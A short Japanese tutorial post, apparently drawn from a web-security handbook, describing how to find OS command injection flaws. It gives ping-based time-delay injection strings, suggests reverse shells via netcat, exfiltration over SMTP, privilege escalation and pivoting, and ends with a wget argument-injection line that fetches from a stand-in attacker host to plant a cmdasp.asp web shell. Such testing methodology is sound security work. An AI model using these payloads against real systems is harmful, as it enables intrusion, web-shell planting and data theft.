Hello there, ('ω')ノ
OSコマンドインジェクションの欠陥を見つける手順を。
手順①
1.通常、サーバに特定の期間ループバックインターフェイスにpingを
実行させることにより、時間遅延をトリガーする手段として
pingコマンドを使用できます。
WindowsベースのプラットフォームとUNIXベースのプラットフォームが
コマンドセパレータとpingコマンドを処理する方法にはわずかな違いがあります。
ただし、次の汎用テスト文字列は、フィルタリングが行われていない場合、
どちらのプラットフォームでも30秒の時間遅延を引き起こすはずです。
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
アプリケーションが特定のコマンドセパレータをフィルタリングしている場合に
コマンドインジェクションの欠陥を検出する可能性を最大化するには、
次の各テスト文字列を各ターゲットパラメータに順番に送信し、
アプリケーションが応答するのにかかる時間を監視する必要があります。
| ping –i 30 127.0.0.1 |
| ping –n 30 127.0.0.1 |
& ping –i 30 127.0.0.1 &
& ping –n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping –i 30 127.0.0.1 %0a
` ping 127.0.0.1 `
2.時間遅延が発生した場合、アプリケーションはコマンドインジェクションに
対して脆弱である可能性があります。
テストケースを数回繰り返して、遅延がネットワーク遅延や
その他の異常の結果ではないことを確認します。
-nまたは-iパラメーターの値を変更して、発生する遅延が指定された値によって
体系的に変化することを確認してみてください。
3.成功したインジェクション文字列のいずれかを使用して、
より興味深いコマンド(lsやdirなど)をインジェクションしてみてください。
コマンドの結果をブラウザに取得できるかどうかを判別します。
4.結果を直接取得できない場合は、他のオプションがあります。
■帯域外チャネルを開いてコンピュータに戻すことができます。
TFTPを使用してツールをサーバーにコピーし、telnetまたはnetcatを使用して
逆シェルを作成してコンピューターに戻し、メールコマンドを使用して
SMTP経由でコマンド出力を送信してみてください。
■コマンドの結果をWebルート内のファイルにリダイレクトできます。
このファイルは、ブラウザーを使用して直接取得できます。
例えば:
dir > c:\inetpub\wwwroot\foo.txt
5.コマンドを挿入して結果を取得する手段を見つけたら、
特権レベルを決定する必要があります。
(whoamiなどを使用するか、
保護されたディレクトリに無害なファイルを書き込もうとします)
次に、特権を昇格させたり、機密性の高いアプリケーションデータへの
バックドアアクセスを取得したり、侵入先のサーバーから到達可能な
他のホストを攻撃したりする可能性があります。
手順②
1.<および>文字は、それぞれ、ファイルの内容をコマンドの入力に送信するため、
およびコマンドの出力をファイルに送信するために使用されます。
完全に別個のコマンドを挿入できない場合でも、<および>文字を使用して
任意のファイルの内容を読み書きできる場合があります。
2.アプリケーションが呼び出す多くのオペレーティングシステムコマンドは、
その動作を制御する多数のコマンドラインパラメータを受け入れます。
多くの場合、ユーザ指定の入力はこれらのパラメーターの1つとして
コマンドに渡され、スペースの後に関連するパラメーターを挿入するだけで、
さらにパラメータを追加できる場合があります。
たとえば、Webオーサリングアプリケーションには、
サーバがユーザ指定のURLを取得し、そのコンテンツをブラウザ内に
レンダリングして編集する機能が含まれている場合があります。
アプリケーションが単にwgetプログラムを呼び出す場合は、
wgetで使用される-Oコマンドラインパラメータを追加することで、
サーバのファイルシステムに任意のファイルコンテンツを
書き込むことができる場合があります。
例えば:
url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\
cmdasp.asp
Best regards, (^^ゞ